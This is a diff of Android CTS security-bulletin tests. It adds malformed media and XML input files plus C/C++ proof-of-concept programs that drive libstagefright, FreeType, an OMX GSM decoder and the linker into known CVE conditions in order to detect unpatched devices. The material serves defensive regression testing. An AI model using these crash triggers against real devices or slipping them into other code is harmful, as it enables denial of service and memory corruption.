diff --git a/hostsidetests/securitybulletin/res/cve_2015_3873.mp4 b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
new file mode 100644
index 0000000..ec5938c
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_10244 b/hostsidetests/securitybulletin/res/cve_2016_10244
new file mode 100644
index 0000000..6f0fad7
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_10244
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0697.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
new file mode 100644
index 0000000..ef300fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_13234.xmf b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
new file mode 100644
index 0000000..3c249fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
new file mode 100644
index 0000000..d9e9e83
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+ <!ENTITY % a "<:0000">
+ %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
new file mode 100644
index 0000000..4f0d81a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+ <!ENTITY % a "<:000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000">
+ %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2019_1988.mp4 b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
new file mode 100644
index 0000000..cdff65b
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4 b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
new file mode 100644
index 0000000..d8f7d4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_9308.mp4 b/hostsidetests/securitybulletin/res/cve_2019_9308.mp4
new file mode 100644
index 0000000..fbfc625
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_9308.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213.hevc b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
new file mode 100644
index 0000000..f34f874
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
new file mode 100644
index 0000000..0dde4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
@@ -0,0 +1,2 @@
+73 32 0
+304 0 33333
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0470.mp4 b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
new file mode 100644
index 0000000..d77b2f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
new file mode 100644
index 0000000..6f087cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2015-3873",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libdatasource/include",
+ "frameworks/av/media/libmedia/include",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "libmedia",
+ "libstagefright_foundation",
+ "libdatasource",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
new file mode 100644
index 0000000..789d436
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
@@ -0,0 +1,121 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <android/IMediaExtractor.h>
+#include <datasource/FileSource.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/MediaTrack.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#define CONVERSION_FACTOR_SEC_TO_MICROSEC 1000000
+
+using namespace android;
+#endif /* _64_BIT */
+
+int main(int argc, char **argv) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = new FileSource(argv[1]);
+ if (!dataSource) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *mp4Extractor =
+ ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (!mp4Extractor) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(mp4Extractor);
+ if (!mediaExtractorCUnwrapper) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ // seek to 10 seconds in the mp4 file
+ int64_t seekTimeUs = 10 * CONVERSION_FACTOR_SEC_TO_MICROSEC;
+ size_t numTracks = mediaExtractorCUnwrapper->countTracks();
+ for (size_t i = 0; i < numTracks; ++i) {
+ MetaDataBase metaData;
+ MediaTrack *mediaTrack = mediaExtractorCUnwrapper->getTrack(i);
+ mediaExtractorCUnwrapper->getTrackMetaData(
+ metaData, i, MediaExtractor::kIncludeExtensiveMetaData);
+ MediaTrack::ReadOptions options;
+ if (seekTimeUs >= 0) {
+ options.setSeekTo(seekTimeUs,
+ MediaTrack::ReadOptions::SEEK_PREVIOUS_SYNC);
+ }
+ if (mediaTrack) {
+ MediaBufferBase *mbuf = nullptr;
+ mediaTrack->start();
+ mediaTrack->read(&mbuf, &options);
+ }
+ }
+#endif /* _64_BIT */
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
new file mode 100644
index 0000000..28bb271
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-10244",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libft2",
+ ],
+ cflags: [
+ "-DCHECK_UNDERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
new file mode 100644
index 0000000..ad8b6e0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdint.h>
+
+#include <ft2build.h>
+#include FT_FREETYPE_H
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *fp = fopen(argv[1], "rb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ if (size < 1) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+
+ uint8_t *data = new uint8_t[size];
+ if (!data) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+ (void)fread(data, sizeof(uint8_t), size, fp);
+ fclose(fp);
+ fp = nullptr;
+
+ FT_Library ftLib;
+ if (FT_Init_FreeType(&ftLib)) {
+ delete[] data;
+ return EXIT_FAILURE;
+ }
+
+ FT_Face ftFace;
+ FT_New_Memory_Face(ftLib, data, size, -33, &ftFace);
+
+ FT_Done_FreeType(ftLib);
+ delete[] data;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
new file mode 100644
index 0000000..c2b7636
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-2485",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ srcs: [
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..75f8b82
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+#include <fstream>
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(
+ BufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream file(argv[1], std::ifstream::binary);
+ long size = FILE_SIZE;
+ uint8_t *buffer = new uint8_t[size];
+ if (!buffer) {
+ file.close();
+ return EXIT_FAILURE;
+ }
+ file.read((char *)buffer, size);
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder");
+ omxExitOnError(ret);
+
+ /* Set OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ if (!params) {
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->nBufferSize = INPUT_BUFFER_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+ /* Prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ /* Set OMX output port parameters */
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ params->nPortIndex = OMX_UTILS_OP_PORT;
+ params->nBufferSize = VULNERABLE_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+ /* Prepare output port buffers */
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = VULNERABLE_SIZE;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp<android::hidl::memory::V1_0::IMemory> mem =
+ mapMemory(inputBuffers[i].mHidlMemory);
+ memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i),
+ INPUT_BUFFER_SIZE);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+ &inBufferId[i]);
+ }
+
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (int i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+ &outBufferId[i]);
+ }
+
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+ while (currentTime < endTime) {
+ sleep(SLEEP_TIME_IN_SECONDS);
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (numCallbackEmptyBufferDone != inBufferCnt) {
+ free(params);
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ free(params);
+ file.close();
+ delete[] buffer;
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
new file mode 100644
index 0000000..af8ba51
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0670",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.c",
+ ],
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
new file mode 100644
index 0000000..6380e92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
@@ -0,0 +1,103 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+ #include <stdlib.h>
+ #include "../includes/common.h"
+
+ //This PoC is only for 32-bit builds
+#if _32_BIT
+#include <unistd.h>
+#include <string.h>
+#include <dlfcn.h>
+
+#define MAX_STRLEN 256
+#define LOOP_COUNT 10
+#define LIB_NAME "/system/lib/libandroid.so"
+
+int runDlopenDlcloseLibraryLoop(char *libName, unsigned char count) {
+ while (count) {
+ void *lib_handle = dlopen(libName, RTLD_NOW);
+ if (!lib_handle) {
+ return EXIT_FAILURE;
+ }
+ if (dlclose(lib_handle)) {
+ return EXIT_FAILURE;
+ }
+ count--;
+ }
+ return EXIT_SUCCESS;
+}
+int getMemoryUsage(unsigned long *memUsage) {
+ char cmd[MAX_STRLEN];
+ char buf[MAX_STRLEN];
+ memset(cmd, 0, MAX_STRLEN);
+ memset(buf, 0, MAX_STRLEN);
+ sprintf(cmd, "cat /proc/%d/maps | grep anon:linker_alloc]", getpid());
+ FILE *fpMem = popen(cmd, "r");
+ if (!fpMem) {
+ return EXIT_FAILURE;
+ }
+ unsigned long totalMemUsage = 0;
+ while (fgets(buf, MAX_STRLEN, fpMem) != NULL) {
+ unsigned long mem1 = 0;
+ unsigned long mem2 = 0;
+ int numOfItemsRead = sscanf(buf, "%lx-%lx", &mem1, &mem2);
+ if (numOfItemsRead < 2) {
+ pclose(fpMem);
+ return EXIT_FAILURE;
+ }
+ totalMemUsage += mem2 - mem1;
+ }
+ pclose(fpMem);
+ *memUsage = totalMemUsage;
+ return EXIT_SUCCESS;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+ /* Memory usage is expected to rise during first few dlopen-dlcose pairs */
+ /* due to linker initializations. Hence memory is not tracked during */
+ /* first few dlopen-dlcose pairs. */
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ /* The linker specific initializations should be complete. Hence Memory */
+ /* usage is tracked from this point onwards. Further dlopen-dlcose pairs */
+ /* are not expected to increase memory usage */
+ unsigned long memUsageBefore = 0;
+ if (getMemoryUsage(&memUsageBefore)) {
+ return EXIT_FAILURE;
+ }
+
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ unsigned long memUsageAfter = 0;
+ if (getMemoryUsage(&memUsageAfter)) {
+ return EXIT_FAILURE;
+ }
+
+ if (memUsageBefore != memUsageAfter) {
+ return EXIT_VULNERABLE;
+ }
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp
new file mode 100644
index 0000000..7aaa563
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0697",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libstagefright_foundation",
+ "libutils",
+ "liblog",
+ "libdatasource",
+ ],
+
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
new file mode 100644
index 0000000..684d410
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
@@ -0,0 +1,105 @@
+/**
